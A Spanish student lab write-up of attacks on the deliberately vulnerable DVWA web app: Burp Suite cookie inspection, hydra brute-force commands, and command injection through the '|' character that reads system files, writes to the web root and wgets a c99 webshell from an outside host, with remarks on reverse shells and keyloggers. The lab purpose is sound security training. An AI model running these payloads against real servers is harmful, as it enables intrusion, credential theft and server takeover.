En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final...

14
En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en http://www.dvwa.co.uk/

Transcript of En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final...

Page 1: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de

ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar

el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en

http://www.dvwa.co.uk/

Page 2: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

Estos ejercicios pretenden ser una guía práctica de posibles vulnerabilidades a encontrar en el

mundo real, la aplicación web tiene un área de configuración en la que podremos establecer el

nivel de seguridad. Para llevar a cabo la mayor parte de estos ejercicios se establecerá el nivel

de seguridad en “medio” o nivel 2 de 3. En aquellos casos en los que el nivel de seguridad se

haya bajado a “Low” se indicará pertinentemente.

Testeando el funcionamiento de la web. Cookies

Valiéndonos de la aplicación Burp Suite, somos capaces de ver la “conversación” entre el

navegador y el servidor web. Así veremos aquellos parámetros que permanecen transparentes

al usuario. De esta forma tendremos mejor idea de cómo está construida la web y el

funcionamiento de la misma.

Page 3: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

En nuestro proxy, que actúa interceptando el tráfico, podemos ver la información que se envía

y se devuelve.

Vemos que como variables de sesión se guarda el nivel de seguridad, una variable llamada _ga,

una cookie de sesión en PHPESSID y una variable tz que almacena la zona horaria.

Si modificamos el valor almacenado en PHPESSID, la web nos desloggea automáticamente. Lo

mismo ocurre si deshabilitamos el funcionamiento de las cookies.

Brute Force

Este apartado de la máquina virtual nos propone un ejercicio de averiguar usuarios y

contraseñas mediante la técnica de la Fuerza Bruta. Para llevar a cabo este tipo de ataque

deberemos utilizar algún software destinado.

La técnica de la fuerza Bruta consiste en la prueba y error de diferentes palabras en los campos

“Username” y “Password” hasta que consigue alguna de las credenciales legítimas. Este ataque

nos permitirá acceder a la aplicación web como si fuéramos el usuario.

Page 4: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

Un buen sistema para evitar ser víctima de este tipo de ataque es mantener una buena política

de contraseñas, de longitud adecuada, con restricciones de obligatorio cumplimiento como el

uso de caracteres numéricos y de puntuación y un cambio periódico de las contraseñas.

Se recomienda esta periodicidad en el cambio de contraseñas ya que este tipo de ataque exige

una cantidad significativa de computación y por tanto requiere de tiempo y capacidad de

procesado para llevarse a cabo.

Además, necesitaremos un buen diccionario para realizar las pruebas de usuario y contraseña.

En este caso se realizará el ataque utilizando el programa THC-Hydra.

hydra -v -V -o dvwa.txt -l admin -P pass_habituales.txt 192.168.1.107 http-get-form

“/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome

to the password protected area “

hydra -v -V -o dvwa.txt -l admin -P pass_habituales.txt 192.168.1.107 http-get-form

/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:F=username

and/or password incorrect.”

Podemos probar las cuentas de otros usuarios del mismo modo, esta vez cargaremos un

usuario para cada password, estos usuarios están almacenados en el fichero nombres.txt

hydra -v -V -o dvwa.txt –L nombres.txt -P pass_habituales.txt 192.168.1.107 http-get-form

/dvwa/vulnerabilites/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome

to the password protected area ”

El programa comienza a repetir iterativamente la misma secuencia en la que comprueba las

contraseñas almacenadas en pass_habituales.txt una vez termina de ejecutar almacena el

resultado en un fichero dvwa.txt

Page 5: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

Cuando el programa termina nos arroja las contraseñas válidas que ha encontrado,

procedemos a comprobar que es correcto.

Username=admin : password=admin

En niveles de seguridad más avanzados habrá que tener en cuenta otro tipo de restricciones,

como el tiempo de espera entre intento e intento y el número de intentos máximo antes de

ser bloqueados.

Page 6: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

Command Execution

Nivel de seguridad: medio.

Aquí la restricción de código viene limitada y con un filtro de caracteres para evitar los más

comunes, sin embargo, el programador de la página no bloqueó el carácter ‘|’ así pues,

podremos ejecutar comandos siempre y cuando los precedamos por una dirección ip válida. El

sistema del servidor web realizará el ping y después ejecutará el segundo comando.

Page 7: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

En Burp Suite observamos que en la variable “ip” enviamos la dirección y ésta va precedida por

el carácter | y el comando ls

127.0.0.1 | uname –a (listar información del servidor)

Linux vulnerablewebapps 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015

x86_64 GNU/Linux

127.0.0.1 |whoami (ver qué usuario está ejecutando los comandos)

www-data

127.0.0.1 |id (más información sobre el usuario que tenemos)

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Page 8: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

127.0.0.1 | ps axjf (listar los procesos que están corriendo en la máquina)

127.0.0.1 |find /etc -type f -perm -4 -print 2> /dev/null (mostramos los ficheros en los que el

usuario www-data tiene permiso de lectura)

127.0.0.1 | ls –alh /home/*/ (listado de los usuarios creados en la máquina)

Page 9: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

total 28K

drwxr-xr-x 3 va va 4.0K Apr 2 2015 .

drwxr-xr-x 3 root root 4.0K Mar 29 2015 ..

-rw-rw-r-- 1 va va 74 Oct 1 04:22 .bash_history

-rw-r--r-- 1 va va 220 Mar 29 2015 .bash_logout

-rw-r--r-- 1 va va 3.6K Mar 29 2015 .bashrc

drwx------ 2 va va 4.0K Mar 29 2015 .cache

-rw-r--r-- 1 va va 675 Mar 29 2015 .profile

127.0.0.1 |ls -alh /etc (podemos ver el contenido de carpetas sensibles)

Page 10: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

En este caso mostramos el contenido de la carpeta /etc donde encontramos los ficheros

passwd o shadow

127.0.0.1 | cat /etc/crontab (podemos leer incluso el contenido de ficheros sensibles)

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

Page 11: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

# m h dom mon dow user command

17 * * * * root cd / && run-parts --report /etc/cron.hourly

25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily

)

47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report

/etc/cron.weekly )

52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report

/etc/cron.monthly )

#

127.0.0.1 |find / -type f -perm -2 -print 2> /dev/null (buscamos los ficheros con permiso de

escritura)

/var/www/html/peruggia/includes/mysql.php

/var/www/html/peruggia/includes/login.php

/var/www/html/peruggia/includes/learn.php

/var/www/html/peruggia/includes/comment.php

/var/www/html/peruggia/includes/updel.php

/var/www/html/peruggia/includes/main.php

/var/www/html/peruggia/includes/account.php

/var/www/html/peruggia/about.html

Page 12: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

/var/www/html/peruggia/style.css

/var/www/html/peruggia/install.php

/var/www/html/peruggia/index.php

/var/www/html/peruggia/conf.php

/var/www/html/peruggia/images/lolhax.jpg

/var/www/html/peruggia/background.png

/var/www/html/peruggia/logo.png

/run/sendmail/mta/smsocket

/sys/fs/cgroup/systemd/user/1000.user/c1.session/cgroup.event_control

/sys/fs/cgroup/systemd/user/1000.user/cgroup.event_control

/sys/fs/cgroup/systemd/user/cgroup.event_control

/sys/fs/cgroup/systemd/cgroup.event_control

/sys/kernel/security/apparmor/.access

/proc/sys/kernel/ns_last_pid

/proc/1/task/1/attr/current

/proc/1/task/1/attr/exec

/proc/1/task/1/attr/fscreate

/proc/1/task/1/attr/keycreate

/proc/1/task/1/attr/sockcreate

/proc/1/attr/current

/proc/1/attr/exec

/proc/1/attr/fscreate

/proc/1/attr/keycreate

/proc/1/attr/sockcreate

/proc/2/task/2/attr/current

(…)

/proc/22411/task/22411/attr/sockcreate

/proc/22411/attr/current

/proc/22411/attr/exec

/proc/22411/attr/fscreate

/proc/22411/attr/keycreate

Page 13: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

/proc/22411/attr/sockcreate

En estas ubicaciones, siendo el usuario www-data podemos escribir y almacenar nuestros

archivos.

127.0.0.1 | touch /var/www/html/peruggia/insert.txt (comprobamos que podemos crear

ficheros en el servidor)

127.0.0.1 | ls /var/www/html/peruggia/

127.0.0.1 | whoami >> /var/www/html/peruggia/insert.txt (podemos escribir en el fichero)

127.0.0.1 | cat /var/www/html/peruggia/insert.txt

www-data

127.0.0.1 | wget -P /var/www/html/peruggia/ http://www.r57c99.com/1512644679-

c99txt.html (podemos descargar una webshell en esta carpeta, del mismo modo podríamos

haber descargado un rootkit o alguna otra herramienta)

127.0.0.1 | ls /var/www/html/peruggia/

En este punto podemos asegurar que el servidor ha sido vulnerado. Un atacante podría ir

registrando información del sistema en el fichero insert.txt regularmente e incluso podría

descargar tantos complementos como quisiera. Hemos visto en la información recabada

anteriormente que el servidor tiene instalado Python y podríamos desarrollar una Shell

Page 14: En la segunda parte del ejercicio final del módulo 2 se ...En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de ejercicios de web hacking alojados

inversa, descargarla en la carpeta /var/www/html/peruggia y ejecutar el programa, aquí el

problema de seguridad se vuelve serio ya que un keylogger o algún otro tipo de herramienta

similar acabaría proporcionando información como contraseñas y usuarios o incluso

podríamos descargar alguna aplicación que nos permitiera elevar nuestros privilegios dentro

del sistema. Además hemos comprobado que podemos revisar la configuración del sistema, el

software que tiene instalado, los usuarios y sus permisos.

En este caso, al haber subido una webshell lo que deberíamos hacer es acceder a esta

localización desde la web, nos dará acceso total a la aplicación web.